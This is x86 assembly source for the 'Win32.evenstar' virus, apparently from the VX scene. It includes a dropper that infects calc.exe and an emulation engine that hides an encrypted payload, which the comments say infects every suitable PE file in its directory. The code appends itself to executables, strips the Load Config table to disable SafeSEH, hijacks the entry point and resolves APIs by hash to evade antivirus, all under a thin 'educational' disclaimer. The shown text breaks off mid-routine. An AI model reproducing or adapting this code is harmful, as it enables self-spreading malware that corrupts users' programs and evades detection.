[ ############################### es.asm ############################### ] ;:==============================================================================; ;: ; ;: Win32.evenstar dropper ; ;: ; ;:==============================================================================; comment $ Welcome to the win32.evenstar code, written by mos6581/EOF. es.asm dropper code es_vm.asm emulator payload.asm the payload that is injected into binaries. the "real" win32.evenstar code es_enc.asm encryption/decryption engine This virus is a basic last section PE appender. The main focus of this code is to show an example of how emulation can obfuscate the virus body. For a more in-depth explanation, check out my article "Emulation: Transposition of Control (From Anti-Virus to Virus)." Here is a brief rundown of win32.evenstar: + Infects all suitable PE files in the current directory. + Expands the last segment by 0x1000 and appends both the emulator and payload. + Removes Load Config Data table to disable SafeSEH + Changes OEP to the emulated code. + When it infects a new file, a new encryption key is generated. + es.exe will infect calc.exe only. + Executing calc.exe will start the win32.evenstar virus, that will begin infecting. + Compile win32.evenstar C:\masm32\bin\ml.exe /c /coff /Cp es.asm C:\masm32\bin\link.exe /SUBSYSTEM:WINDOWS /lIBPATH:C:\masm32\lib es.obj or... Just run rebuild.bat, which will copy calc_orig.exe to calc.exe and then run es.exe which will infect calc.exe (this is the viral code). Finally some lame disclaimer: All customers are advised to take all necessary steps to ensure that their computer has a active, working Anti-Virus Program . No responsibility can be accepted by Anal Communications for any loss or damage sustained as a consequence of any virus transmission . WE CANNOT GUARANTEE EMAIL OR SURFING THE WEB TO BE VIRUS FREE. But seriously: I am completely against damaging personal property (unless it is mine) and note that this virus was written with a weak spreader that will not leave its home directory. So do me a favour and use this for research and educational purposes only. $ .686 .model flat,stdcall option casemap:none assume fs:nothing include C:\masm32\include\windows.inc include C:\masm32\include\kernel32.inc includelib C:\masm32\lib\kernel32.lib .data fvirtualalloc db "VirtualAlloc",0 fvirtualprotect db "VirtualProtect",0 fcreatefile db "CreateFileA",0 fgetfilesize db "GetFileSize",0 freadfile db "ReadFile",0 fclosehandle db "CloseHandle",0 fwritefile db "WriteFile",0 fgetcurrentdirectory db "GetCurrentDirectoryA",0 ffindfirstfile db "FindFirstFileA",0 ffindnextfile db "FindNextFileA",0 .code ES_STACK_SIZE equ 128 ;:==============================================================================; ;: Local variables ; ;:==============================================================================; es_code_base equ [ebp - 4] es_k32_base equ [ebp - 8] es_file_handle equ [ebp - 12] es_file_size equ [ebp - 16] es_file_buffer equ [ebp - 20] es_junk equ [ebp - 24] es_vm_remote_entry equ [ebp - 28] ;:==============================================================================; ;: Entry point ; ;:==============================================================================; start: nop call delta delta: pop ebx push ebp mov ebp, esp sub esp, ES_STACK_SIZE mov es_code_base, ebx ; Open target file push NULL push FILE_ATTRIBUTE_NORMAL push OPEN_ALWAYS push NULL push 0 push GENERIC_READ push OFFSET target_file call CreateFile mov es_file_handle, eax ; Get target file size push NULL push eax call GetFileSize mov es_file_size, eax ; Allocate memory push PAGE_READWRITE push MEM_COMMIT add eax, 1000h push eax push NULL call VirtualAlloc mov es_file_buffer, eax ; Read file into memory push NULL lea eax, es_junk push eax push es_file_size push es_file_buffer push es_file_handle call ReadFile ; Close file handle push es_file_handle call CloseHandle ; Find PE header mov ebx, es_file_buffer assume ebx:ptr IMAGE_DOS_HEADER ; Install signature mov [ebx].e_oemid, 0eeeeh ; PE mov eax, [ebx].e_lfanew assume ebx:nothing lea ebx, [ebx + eax] ; PE Header in ebx ; Expand SizeOfImage assume ebx:ptr IMAGE_NT_HEADERS mov eax, [ebx].OptionalHeader.SizeOfImage add eax, 1000h mov [ebx].OptionalHeader.SizeOfImage, eax pop eax push ebx ; Get address of last section mov eax, SIZEOF IMAGE_SECTION_HEADER xor edx, edx mov WORD PTR dx, [ebx].FileHeader.NumberOfSections dec dl mul edx push ebx add ebx, 0f8h lea ebx, [ebx + eax] ; ebx = last section hdr absolute ; Expand last section header assume ebx:ptr IMAGE_SECTION_HEADER ;pop edx ; edx = ptr to PE hdr mov eax, [ebx].SizeOfRawData add eax, 1000h mov [ebx].SizeOfRawData, eax mov eax, [ebx].Characteristics or eax, IMAGE_SCN_MEM_WRITE mov [ebx].Characteristics, eax assume ebx:nothing mov DWORD PTR eax, [ebx + 08h] ; VirtualSize add eax, 1000h mov [ebx + 08h], eax ; OEP pop edx assume edx:ptr IMAGE_NT_HEADERS mov eax, (00016000h + 8A00h) mov esi, [edx].OptionalHeader.AddressOfEntryPoint add esi, [edx].OptionalHeader.ImageBase push esi mov [edx].OptionalHeader.AddressOfEntryPoint, eax assume edx:nothing ; Inject vm assume ebx:ptr IMAGE_SECTION_HEADER mov DWORD PTR eax, [ebx].PointerToRawData add DWORD PTR eax, [ebx].SizeOfRawData mov edx, es_file_buffer lea edi, [eax + edx] ; Raw address of end of section sub edi, 1000h push edi assume ebx:nothing mov esi, OFFSET vm_intro mov ecx, (OFFSET vm_end - OFFSET vm_intro) mov es_vm_remote_entry, edi rep movsb pop edx pop esi mov [edx + 7], esi ; Analyze code mov eax, (OFFSET payload_end - OFFSET payload) mov ecx, eax stosd ; Size of payload xor eax, eax stosd ; How many instructions were counted xor esi, esi ; Instruction counter push edi push OFFSET payload @es_analysis: call mlde32 pop edx add edx, eax stosb push edx sub ecx, eax inc esi test ecx, ecx jne @es_analysis mov eax, 0deadbeefh stosd mov ecx, esi add ecx, 7 not ecx lea ebx, [edi + ecx] mov [ebx], esi ; Store instruction counter ; Inject payload push edi mov esi, OFFSET payload mov ecx, (OFFSET payload_end - OFFSET payload) rep movsb ; Encrypt payload mov esi, [esp + 8] pop edi call vm_enc ; Stamp in key mov edi, es_vm_remote_entry lea edi, [edi + 1 + (OFFSET vm_dec_key - OFFSET vm_intro)] mov eax, vm_key mov [edi], eax ; Open file for writing push NULL push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push NULL push 0 push GENERIC_WRITE push OFFSET target_file call CreateFile mov es_file_handle, eax ; Commit changes to exe push NULL lea eax, es_junk push eax mov eax, es_file_size add eax, 1000h push eax push es_file_buffer push es_file_handle call WriteFile ; Close handle push es_file_handle call CloseHandle invoke ExitProcess, 0 ret include mlde32.asm include vm_enc.asm include es_vm.asm include payload.asm target_file db "calc.exe",0 end start [ ############################### es.asm ############################### ] [ ############################### es_vm.asm ############################### ] ;:==============================================================================; ;: ; ;: Evenstar Emulation Engine rev 1 ; ;: ; ;: written by: EOF->m0s6581 ; ;: contact: [nop] [x90] [@] [live.ca] ; ;: or... [ssphysics][@][jabber.org] ; ;: Talk to me! I don't have any friends! ; ;: ; ;: What is this? ; ;: This is not a complete emulation engine, by any means. But, rest ; ;: assured, there will be more to come. Check out my article for ; ;: concept/technical details about this! ; ;: ; ;: What is evenstar? ; ;: Win32.Evenstar is a sample infector utilizing this emulation engine. It ; ;: doesn't utilize any advanced obfuscation techniques, as is meant to ; ;: test the stability of the emulator. The emu is contstructed to be as ; ;: modular as possible, so it can be integrated into other code. ; ;: ; ;: I can't bother to read your crappy code, where is the synopsis? ; ;: I understand. The purpose is to build a line-by-line decrypter/ ; ;: encrypter. It seems that emulation is the easiest way to accomplish ; ;: this goal. This asm file is the main emulator code. ; ;: ; ;: What does this emulation engine need? ; ;: Pointers to VirtualAlloc and VirtualProtect. Also, a length ; ;: disassembler to build an instruction length table. ; ;: ; ;: Who's code did you steal? ; ;: I'd like to thank uNdErX of 29A for mlde32! Very stable and accurate. ; ;: The source has not been modified and is located in mlde32.asm. Thanks ; ;: again, man. ; ;: ; ;: Greets go to EOF-Project (Prom1x & DarkProphet), MetalKid, badbit, ; ;: DG2 and my homies @12 (DL :D), pri0n, zarathustra, spth, hh86, ; ;: and especially izee for keeping me sane. ; ;: Last but not least, all the great vx'ers who are no longer in the scene. ; ;: Without your talent, I would still be clueless. Thanks everyone! ; ;: ; ;: ; ;: ; ;: es_vm was tested on windows xp 32-bit. ; ;: ; ;: Debuggee: The emulated code. ; ;: Working Buffer: Main buffer containing the Instruction Buffer, ; ;: debuggee stack and other information utilized ; ;: by the emu. Note: We must use VirtualAlloc, because ; ;: it is aligned by pages. The emu cannot work without ; ;: this explicit property. ; ;: ; ;: Instruction Buffer: A small buffer at the Working Buffer page start used ; ;: to execute instructions. ; ;: ; ;: Execution Buffer: The encrypted payload is copied to here and the emu ; ;: accesses it to read instructions. ; ;: ; ;: Instruction Counter:A pointer to the array of elements consisting of ; ;: instruction lengths generated by the length disasm. ; ;: It points within the Instruction Length Structure. ; ;: ; ;:==============================================================================; ;:==============================================================================; ;: Program Constants ; ;:==============================================================================; iop equ dd 90900b0fh ; Debug only - illegal opcode (ud2) VM_GET_INFO_MACHINE equ 0e0fe0f00h ; This entry in eax will tell the emu that the debuggee is asking for base information from the emu VM_RETURN_TO_OEP equ 0bbaaffeeh ; This entry in eax will pass the oep in ebx, informing the emulator that the debuggee has completed execution VM_INFO_GET_API equ 0ddeeddeeh ; This entry in eax will pass a pointer to the API address table (of the VM stack) INSTRUCTION_BUFFER_BASE equ 20000h ; Obsolete CODE_OFFSET equ OFFSET vm_handler JUMP_OFFSET equ VM_DEBUG_JMP_TO_SEH VM_STACK_SIZE equ 108 ; Size of emulator stack VM_BREAK_OPCODE equ 0cch ; Code injected after regular instruction & call ;:==============================================================================; ;: Emulator to debuggee communication constants ; ;:==============================================================================; VM_STACK_PTR_OFFSET equ 64 ; Interchangeable stack pointer VM_INST_LEN_PTR equ 60 ; Instruction length pointer VM_INST_BASE_PTR equ 68 ; Instruction base pointer VM_AV_BIT equ 72 ; When the exception happens, the instruction is executed again after decryption. VM_AV_LEN equ 76 ; Length, installed by AV handler VM_AV_INST equ 80 ; Pointer to instruction, installed by AV, also checked by the proxy VM_API equ 84 VM_STACK_CONTEXT equ VM_STACK_PTR_OFFSET + 8 ;VM_DEBUG_JMP_TO_SEH equ ((OFFSET vm_handler - OFFSET vm_intro) + 01028005h) - 0103000bh VM_DEBUG_JMP_TO_SEH equ OFFSET vm_handler - 20000bh VM_WORKING_BUFFER_SIZE equ 4000h ;VM_SIZE equ OFFSET vm_intro - OFFSET start VM_SIZE equ 0c00h ; Override ; rebuild cs, ds, ss, es, fs[0] - SEH, gs segments ; FS:[0x00] SEH ; FS:[0x04] SS - top of stack ;:==============================================================================; ;: Structures ; ;:==============================================================================; ; Just the CONTEXT structure (defined already) ; This is pointed to by the exception_record comment $ CONTEXT STRUCT ContextFlags dd ? Dr0 dd ? Dr1 dd ? Dr2 dd ? Dr3 dd ? Dr6 dd ? Dr7 dd ? FloatSave FLOATING_SAVE_AREA SegGs dd ? SegFs dd ? SegEs dd ? SegDs dd ? Edi dd ? Esi dd ? Ebx dd ? Edx dd ? Ecx dd ? Eax dd ? Ebp dd ? Eip dd ? SegCs dd ? EFlags dd ? Esp dd ? SegSs dd ? ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup (?) CONTEXT ENDS $ ; Local thread context structure (read by emulator) regs STRUCT rebp dd ? resi dd ? redi dd ? redx dd ? recx dd ? rebx dd ? reax dd ? rflags dw ? regs ENDS ;:==============================================================================; ;: Macros ; ;:==============================================================================; push_gen_reg MACRO push eax push ebx push ecx push edx push edi push esi ENDM pop_gen_reg MACRO pop esi pop edi pop edx pop ecx pop ebx pop eax ENDM lock_buffer MACRO ; lock execution buffer pusha lea eax, vm_page_protect push eax push PAGE_NOACCESS push 1000h push vm_exec_page mov eax, vm_virtualprotect call eax popa ENDM unlock_buffer MACRO ; Unlock execution buffer pusha lea eax, vm_page_protect push eax push PAGE_READONLY push 1000h push vm_exec_page mov eax, vm_virtualprotect call eax popa ENDM write_buffer MACRO ; write buffer execution buffer pusha lea eax, vm_page_protect push eax push PAGE_READWRITE push 1000h push vm_exec_page mov eax, vm_virtualprotect call eax popa ENDM ;:==============================================================================; ;: Entry Point ; ;:==============================================================================; vm_intro: nop call vm_delta vm_delta: mov esi, 0ffeeffeeh pop edx mov ecx, esp ;:==============================================================================; ;: Install SEH ; ;:==============================================================================; assume fs:nothing lea eax, [edx + (OFFSET vm_handler - OFFSET vm_delta)] push eax push eax push 0 ;DWORD PTR fs:[0] mov DWORD PTR fs:[0], esp ; Build a stack frame push ebp mov ebp, esp sub esp, VM_STACK_SIZE ;sub edx, 6 mov vm_base, edx mov vm_orig_esp, ecx mov vm_host_oep, esi ;:==============================================================================; ;: Stack Variables ; ;:==============================================================================; vm_parm_buf equ [ebp - 4] ; Working buffer (stack, instruction buffer) vm_parm_buf_size equ [ebp - 8] ; Working buffer size vm_parm_code_base equ [ebp - 12] ; Begin analysis vm_parm_code_size equ [ebp - 16] ; Code size vm_parm_entry equ [ebp - 20] ; OEP of code vm_inst_len equ [ebp - 24] ; Length of instruction vm_page_protect equ [ebp - 28] ; Page protection data vm_exec_page equ [ebp - 32] ; Page containing executable code - self-reference vm_key equ [ebp - 36] ; Contains key vm_inst_len_ptr equ [ebp - 40] ; Pointer to the instruction length counter vm_payload_insts equ [ebp - 44] ; Amount of instructions in payload vm_payload_inst_s equ [ebp - 48] ; Payload instruction counter starts here vm_base equ [ebp - 52] ; Base address (delta) of emulator vm_closehandle equ [ebp - 56] vm_createfile equ [ebp - 60] vm_getfilesize equ [ebp - 64] vm_readfile equ [ebp - 68] vm_virtualalloc equ [ebp - 72] vm_virtualprotect equ [ebp - 76] vm_writefile equ [ebp - 80] vm_getcurrdir equ [ebp - 84] vm_findfirstfile equ [ebp - 88] vm_findnextfile equ [ebp - 92] vm_kernel32 equ [ebp - 96] vm_orig_esp equ [ebp - 100] vm_host_oep equ [ebp - 104] ;:==============================================================================; ;: Resolve function pointers to API ; ;:==============================================================================; ; kernel32 mov eax, DWORD PTR fs:[30h] mov eax, DWORD PTR [eax + 0ch] mov esi, DWORD PTR [eax + 01ch] lodsd mov ebx, DWORD PTR [eax + 08h] mov vm_kernel32, ebx ; Resolve API loop mov edx, vm_base sub edx, 6 add edx, (OFFSET vm_hash - OFFSET vm_intro) lea ebx, vm_closehandle @vm_api_main: push edx push ebx call vm_api pop ebx pop edx mov [ebx], eax add edx, 4 sub ebx, 4 cmp DWORD PTR [edx], 0 jne @vm_api_main jmp vm_1 ; Resolve API: thx again shitdown! vm_api: mov ebx, vm_kernel32 mov esi, [ebx + 03ch] ; pe header mov esi, [esi + ebx + 078h] ; export table lea esi, [esi + ebx + 01ch] ; address table lodsd ; abs address table push eax ; save lodsd ; name table push esi ; ptr to ordinal table lea esi, [eax + ebx] mov ecx, ebx ; counter @vm_api: lodsd add eax, ebx ; eax -> string pointer ; Basic string hashing algorithm vm_hashh: push esi push ebx mov esi, eax xor eax, eax movzx ebx, BYTE PTR [esi] @vm_hash: imul eax, 5 add eax, ebx inc esi movzx ebx, BYTE PTR [esi] test ebx, ebx jne @vm_hash pop ebx pop esi inc ecx inc ecx cmp [edx], eax jne @vm_api ; We have found the API pop esi lodsd movzx ecx, WORD PTR [eax + ecx - 2] pop eax add eax, ebx mov eax, [ecx * 4 + eax] add eax, vm_kernel32 ret ;:==============================================================================; ;: Build emulation structures ; ;:==============================================================================; vm_1: mov edx, vm_base ; Delta lea edx, [edx + (OFFSET vm_end - vm_delta)] mov eax, [edx] mov vm_parm_code_size, eax ; Size of Encrypted code ; How many instructions in payload mov eax, [edx + 4] mov DWORD PTR vm_payload_insts, eax ; Total number of instructions in the encrypted payload sub esp, eax mov ecx, eax ; Find bottom of instruction counter structure lea edi, [edx + 8] mov vm_inst_len_ptr, edi ; This points to the first element in the instruction length table (it will be 1, because of nop) ; Find code entry lea edi, [edi + eax + 4] mov vm_parm_code_base, edi ; Base of code ; Copy instruction counter structure to stack lea esi, [edx + 8] lea eax, [esp + ecx] mov vm_payload_inst_s, eax @vm_copy_inst: lodsb mov BYTE PTR [esp + ecx], al loop @vm_copy_inst mov BYTE PTR [esp], 0ffh ; Allocate working buffer push PAGE_EXECUTE_READWRITE push MEM_COMMIT push VM_WORKING_BUFFER_SIZE push NULL mov eax, vm_virtualalloc call eax mov vm_parm_buf, eax ; This will be used for the debuggee IB, stack and other vars ; Allocate Execution buffer push PAGE_EXECUTE_READWRITE push MEM_COMMIT push 1000h ; We're assuming a max size of 1000h for the payload (far less than this) push NULL mov eax, vm_virtualalloc call eax ; Buffer which contains the encrypted payload mov vm_exec_page, eax ; Copy code to execution buffer mov ecx, vm_parm_code_size mov edi, eax mov esi, vm_parm_code_base rep movsb ; We copy the raw code to the execution buffer ; This is to allow the emulator to manipulate ; the payload. ; An example of how the Instruction Length Structure is built comment $ ;:==============================================================================; ;: Analyze code ; ;:==============================================================================; xor eax, eax mov ecx, vm_parm_code_size mov ebx, esp sub esp, ecx push vm_parm_code_base @lpe_poly_lde: call mlde32 pop edx add edx, eax mov BYTE PTR [esp + ecx], al push edx loop @lpe_poly_lde push BYTE PTR 0ffh ; Encrypt mov esi, vm_parm_code_size lea esi, [esp + esi + 8] mov edi, vm_parm_code_base call vm_enc $ ; Lock execution buffer lock_buffer ;:==============================================================================; ;: Prepare the emulation engine ; ;:==============================================================================; mov edi, vm_exec_page ; edi -> eip of debuggee mov ebx, vm_parm_buf ; ebx -> working buffer: instruction buffer, stack, vm data ;lea esi, [esp + ((VM_SIZE + 4) - 0a0ch)] mov esi, vm_payload_inst_s ; esi -> pointer to instruction counter structure lea edx, [ebx + 8000] ; edx -> pointer to top of debuggee stack mov eax, esp mov esp, edx ; Install SEH ;push OFFSET vm_handler ;push DWORD PTR fs:[0] ;mov DWORD PTR fs:[0], esp ;push 0deadbeefh push ebx ; retn pushf sub esp, 28 ; Adjust stack ptr mov edx, esp mov esp, eax mov DWORD PTR [ebx + VM_STACK_PTR_OFFSET], edx add edx, 4 ; Add other info: base of code + base of inst ptr mov eax, vm_inst_len_ptr mov DWORD PTR [ebx + VM_INST_LEN_PTR], eax mov eax, vm_exec_page mov DWORD PTR [ebx + VM_INST_BASE_PTR], eax mov eax, vm_virtualprotect mov DWORD PTR [ebx + VM_API], eax ;==============================================================================; ;: Virtual Machine loop ; ;==============================================================================; assume ebx:nothing @vm: ; Here we execute the next instruction. ; Get size of instruction xor eax, eax ; Zero std ; This is stored on the stack, so we're going backwards lodsb ; Load instruction length mov ecx, eax ; len in cl mov vm_inst_len, eax cld ; Unlock execution buffer unlock_buffer ; Copy instruction to instruction buffer ;mov eax, vm_inst_len ; Instruction length pusha xchg esi, edi xchg edi, ebx mov [edx + 01eh], edi ; esi = OFFSET start ; edi = instruction buffer ; ebx = instruction length struct ; edx = stack ptr rep movsb ; Copy instruction to instruction buffer popa ; Decrypt the instruction push edi mov edi, edx and edi, 0ffff0000h call vm_dec pop edx ; Lock execution buffer lock_buffer ;==============================================================================; ;: Test the Instruction Type ; ;==============================================================================; ;: 1) Far Call ; ;: Far calls are not emulated, as it is a call outside the payload ; ;: 2) Local Call ; ;: Local calls (within the payload) must be emulated, so the code doesn't ; ;: escape the emulator. ; ;: 3) Return ; ;: This is only valid for local calls ; ;: 4) [Non]Conditional Jumps ; ;: Should be local ; ;: 5) All other instructions ; ;==============================================================================; mov vm_inst_len, eax ; Begin test mov BYTE PTR al, [edi] ;==============================================================================; ;: Debugging procedure ; ;==============================================================================; ; VM DEBUG HALT - REMOVE ME ;cmp WORD PTR [edi], 0b0fh ;jne vm_no_halt ;iop vm_no_halt: cmp al, 0e8h ; call? ; 1/2 je vm_call cmp al, 0c3h ; ret? ; 3 je vm_ret cmp al, 0ffh ; Call reg je vm_call_reg_ff ; 4 cmp al, 0ebh ; jmp short disp8 je vm_jmp_eb cmp al, 0e9h ; jmp near disp32 je vm_jmp_e9 cmp al, 0fh ; Is the 0x0F opcode group present? je vm_0f and al, 11110000b ; Isolate the top nibble cmp al, 070h ; Short conditional Jump? je vm_jmp_cond_short cmp al, 0e0h ; loop instruction je vm_jmp_loop ; 5 jmp vm_reg_inst ;==============================================================================; ;:::::::::::::::::::::::::: Jump Emulation ::::::::::::::::::::::::::; ;==============================================================================; ; LOOP 0xe0-0xe2 ; The support for loop has not been completed yet vm_jmp_loop: ; First of all, do we need to jump? push edx mov edx, [ebx + VM_STACK_PTR_OFFSET] ; Register context of debuggee assume edx:ptr regs mov eax, [edx].recx ; Load ecx register test eax, eax ; ecx register 0? je vm_jmp_loop_false dec eax ; Otherwise, decrement mov [edx].recx, eax ; Commit assume edx:nothing xor eax, eax pop edx ; Restore old value ; Adjust instruction pointer mov BYTE PTR al, [edi] cmp al, 0e2h je vm_jmp_loop_e2 iop ; FIXME add other loop instructions vm_jmp_loop_e2: mov BYTE PTR al, [edi + 1] ; Load short operand cmp al, 0 jl vm_jmp_loop_e2_neg iop ; FIXME vm_jmp_loop_e2_neg: iop not al not eax mov cl, [edi + 1] ; Load operand xchg edx, edi lea edi, [edi + eax + 2] ; Final destination xchg ecx, eax stc jmp vm_recompute_size_array vm_jmp_loop_false: pop edx ; Restore old value iop ;==============================================================================; ;: Jump short ; ;==============================================================================; vm_jmp_eb: iop xor ecx, ecx mov cl, [edi + 1] ; Load 8 bit operand cmp cl, 0 jg vm_jmp_eb_pos not cl not ecx vm_jmp_eb_pos: xchg edx, edi lea edi, [edi + ecx + 2] ; Final destination call vm_recompute_size_array dec esi ; Shift to next instruction jmp @vm ; JMP NEAR OPCODE 0xE9 (32-bit operand) vm_jmp_e9: mov ecx, [edi + 1] ; Load 32-bit operand xchg edx, edi lea edi, [edi + ecx + 5] ; Final Destination cmp ecx, 0 jmp vm_recompute_size_array vm_0f: mov BYTE PTR al, [edi + 1] ; Load the opcode after the 0F grouping byte mov ah, al ; Store the opcode in ah and al, 11110000b ; Isolate the top nibble cmp al, 080h ; Near conditional jump? jne vm_reg_inst ; Basic conditional jump opcodes ; 0000 jo o ; 1000 js s ; 0100 je z ; 0010 jb c ; 1010 jp p ; 0110 jbe c & z ; 1100 jl (s <> o):T,(s = o):F ; 1110 jle [(z = 1) || (s <> o)]:T,[(z = 0) && (s = o)]:F ; Near Conditional Jump vm_jmp_cond_near: push edx mov DWORD PTR edx, [edi + 2] ; Load the 4 byte offset into edx mov al, 2 ; Size of the jump instruction prefix + opcode xchg ah, al jmp vm_jmp_cond_table ; Short Conditional Jump vm_jmp_cond_short: push edx mov BYTE PTR dl, [edi + 1] ; Load the byte offset into dl mov BYTE PTR al, [edi] ; Load the jump opcode xor ah, ah inc ah ; Size of the jump instruction opcode ; Jump test table intro vm_jmp_cond_table: mov DWORD PTR ecx, [ebx + 64] ; Load the debuggee stack pointer mov WORD PTR cx, [ecx + 28] ; Load the debuggee eflags into cx register ; cx = eflags, al = opcode, ah = length push eax and al, 0fh xor ah, ah btr eax, 0 ; Test bit 0 of al pushf ;==============================================================================; ;: Jump table logic ; ;==============================================================================; ;: Feel free to give me an idea of how to reduce this size test al, al ; test for 0000, jo, o jne vm_1000 ; Jump if not true popf ; jo/jno jc vm_0000_jno ; jo bt ecx, 11 ; o flag jc vm_jmp_cond_true jnc vm_jmp_cond_false ; jno vm_0000_jno: bt ecx, 11 ; o flag jc vm_jmp_cond_false jnc vm_jmp_cond_true ; js/jns vm_1000: cmp al, 1000b jne vm_0100 popf ; js/jns jc vm_1000_jns ; js bt ecx, 7 ; s flag jc vm_jmp_cond_true jnc vm_jmp_cond_false ; jns vm_1000_jns: bt ecx, 7 ; s flag jc vm_jmp_cond_false jnc vm_jmp_cond_true ; jb/jnb vm_0100: cmp al, 0100b jne vm_0010 popf ; jb/jnb jc vm_0100_jnb ; jb bt ecx, 6 ; z flag jc vm_jmp_cond_true jnc vm_jmp_cond_false ; jnb vm_0100_jnb: bt ecx, 6 ; z flag jc vm_jmp_cond_false jnc vm_jmp_cond_true ; je/jne vm_0010: cmp al, 0010b jne vm_1010 popf ; je/jne jc vm_0010_jne ; je bt ecx, 0 ; c flag jc vm_jmp_cond_true jnc vm_jmp_cond_false ; jne vm_0010_jne: bt ecx, 0 ; c flag jc vm_jmp_cond_false jnc vm_jmp_cond_true ; jp/jnp vm_1010: cmp al, 1010b jne vm_0110 popf ; jp/jnp jc vm_1010_jnp ; jp bt ecx, 2 ; p flag jc vm_jmp_cond_true jnc vm_jmp_cond_false ; jnp vm_1010_jnp: bt ecx, 2 ; p flag jc vm_jmp_cond_false jnc vm_jmp_cond_true ; jbe c & z vm_0110: cmp al, 0110b jne vm_1100 popf ; jbe/ja jc vm_0110_ja ; jbe bt ecx, 6 ; z flag jnc vm_jmp_cond_true bt ecx, 0 ; c flag jnc vm_jmp_cond_true jmp vm_jmp_cond_false ; ja vm_0110_ja: bt ecx, 6 ; z flag jnc vm_jmp_cond_false bt ecx, 0 ; c flag jnc vm_jmp_cond_false jmp vm_jmp_cond_true ; jl/jge vm_1100: cmp al, 1100b jne vm_1110 popf jc vm_1100_jge ; jl s <> o bt ecx, 7 ; s flag jc vm_1100_jl_0 bt ecx, 11 ; o flag jc vm_jmp_cond_true jmp vm_jmp_cond_false vm_1100_jl_0: bt ecx, 11 ; o flag jc vm_jmp_cond_false jmp vm_jmp_cond_true ; jge s = o vm_1100_jge: bt ecx, 7 ; s flag jc vm_1100_jge_0 bt ecx, 11 ; o flag jc vm_jmp_cond_false jmp vm_jmp_cond_true vm_1100_jge_0: bt ecx, 11 ; o flag jc vm_jmp_cond_true jmp vm_jmp_cond_false ; jle[jng] (z=1) || (s<>o) 1110 ; jg[jnle] (z=0) && (s=o) 1111 vm_1110: popf jc vm_1110_jg ; jle[jng] bt ecx, 6 ; z flag jc vm_jmp_cond_true ; (s <> o) bt ecx, 7 ; s flag jc vm_1110_jle_0 bt ecx, 11 ; o flag jc vm_jmp_cond_true jmp vm_jmp_cond_false vm_1110_jle_0: bt ecx, 11 ; o flag jc vm_jmp_cond_false jmp vm_jmp_cond_true ; jg[jnle] vm_1110_jg: bt ecx, 6 ; z flag jc vm_jmp_cond_false bt ecx, 7 ; s flag jc vm_1110_jg_0 bt ecx, 11 ; o flag jnc vm_jmp_cond_true jmp vm_jmp_cond_false vm_1110_jg_0: bt ecx, 11 ; o flag jnc vm_jmp_cond_false ;==============================================================================; ; Jump TRUE ; ;==============================================================================; vm_jmp_cond_true: pop eax ; al = opcode, ah = siz pop edx ; debuggee stack pointer cmp ah, 2 ; near jump? je vm_jmp_cond_true_32 ; 8-bit short operand, adjust destination xor eax, eax mov al, [edi + 1] ; Load operand cmp al, 0 ; forward/backward offset jl vm_jmp_cond_true_8_back ; Forwards in memory xchg edx, edi lea edi, [edi + eax + 2] ; Load final destination (forward) jmp vm_jmp_cond_true_realign ; Backwards vm_jmp_cond_true_8_back: not al not eax xchg edx, edi lea edi, [edi + eax + 2] ; Final displacement ;inc eax jmp vm_jmp_cond_true_realign ; 32-bit near operand vm_jmp_cond_true_32: mov eax, [edi + 2] ; Load operand xchg edi, edx lea edi, [edi + eax + 6] ; Final displacement ; Prepare to realign instruction pointer (procedure) vm_jmp_cond_true_realign: mov ecx, eax xor eax, eax ; Set eax cmp ecx, 0 ; Prepare flags jmp vm_recompute_size_array ; Jump to procedure ;==============================================================================; ; Jump FALSE ; ;==============================================================================; vm_jmp_cond_false: pop eax pop edx xchg edx, edi shr eax, 8 ; Shift the instruction length to al cmp eax, 1 je vm_jmp_cond_false_8 ; 32-bit lea edi, [edi + 6] jmp @vm ; 8-bit vm_jmp_cond_false_8: lea edi, [edi + 2] jmp @vm ;==============================================================================; ;::::::::::::::::::::::::: Call Emulation ::::::::::::::::::::::::::; ;==============================================================================; ; Call Found: determine if it is local (within the specified executable code range) vm_call: mov DWORD PTR eax, [edi + 1] ; Load operand test eax, eax je vm_call_delta cmp eax, VM_SIZE ; Forced program size (check call limits) mov eax, vm_inst_len jng vm_call_local vm_call_delta: xchg edx, edi lea edi, [edi + 5] ; Next instruction call vm_realign_context_frame lea eax, [ebx + VM_STACK_PTR_OFFSET] mov eax, [eax] lea eax, [eax + 34] mov [eax], edi jmp @vm ;==============================================================================; ;: Far call - aka this call offset is outside of the specified call base ; ;==============================================================================; mov eax, edi ; Current instruction pointer sub eax, ebx ; Relative offset add eax, [edi + 1] ; Other offset mov BYTE PTR [ebx], 0e8h ; Call mov DWORD PTR [ebx + 1], eax ; Operand ; Prepare registers ; edi = Instruction buffer + 5 ; ebx = Instruction length struct ; esi = Instruction pointer ; eax = Instruction length (5) mov eax, 5 xchg esi, ebx xchg edi, esi lea edi, [edi + 5] add esi, 5 ; Add by the size of the call instruction jmp vm_stamp_instructions ;==============================================================================; ;: Local call - within range of code base ; ;==============================================================================; vm_call_local: ; Move context information (on top of stack) down by 4 bytes. Make enough space for the retn address (edi) ; so it is caught by the emulator xchg edx, edi call vm_realign_context_frame jmp vm_compute_new_eip ;==============================================================================; ;: call reg ; ;==============================================================================; ; assuming there is VM_GET_INFO_MACHINE in eax, we will move the base address ; of the emulator into eax instead. This will not change any stack information vm_call_reg_ff: mov eax, [edi + VM_STACK_PTR_OFFSET] mov eax, [eax + 24] ; Load eax value of debuggee cmp eax, VM_GET_INFO_MACHINE je vm_call_reg_info cmp eax, VM_RETURN_TO_OEP je vm_call_reg_oep cmp eax, VM_INFO_GET_API je vm_call_reg_api jmp vm_reg_inst ; Call reg [VM_GET_INFO_MACHINE] is true. The debuggee is asking for the base address of the vm vm_call_reg_info: push ebx mov ebx, [edi + VM_STACK_PTR_OFFSET] mov eax, vm_base sub eax, 6 mov [ebx + 24], eax pop ebx add edx, 2 ; Move to next instruction xchg edx, edi jmp @vm ;==============================================================================; ;: call oep ; ;==============================================================================; vm_call_reg_oep: mov ebx, [edi + VM_STACK_PTR_OFFSET] ; Load address of debuggee stack vm_call_reg_oep_stamp: mov eax, 0ffeeffeeh mov ebx, vm_host_oep mov esp, vm_orig_esp jmp ebx vm_call_reg_api: push ebx mov ebx, [edi + VM_STACK_PTR_OFFSET] lea eax, vm_findnextfile mov [ebx + 24], eax pop ebx add edx, 2 xchg edi, edx jmp @vm ;==============================================================================; ;: Realign debuggee thread context information (to make room for ret) ; ;==============================================================================; ;: + Local call and retn procedures need to make use of this procedure ; ;==============================================================================; vm_realign_context_frame: pusha ; Preserve registers for next cycle push 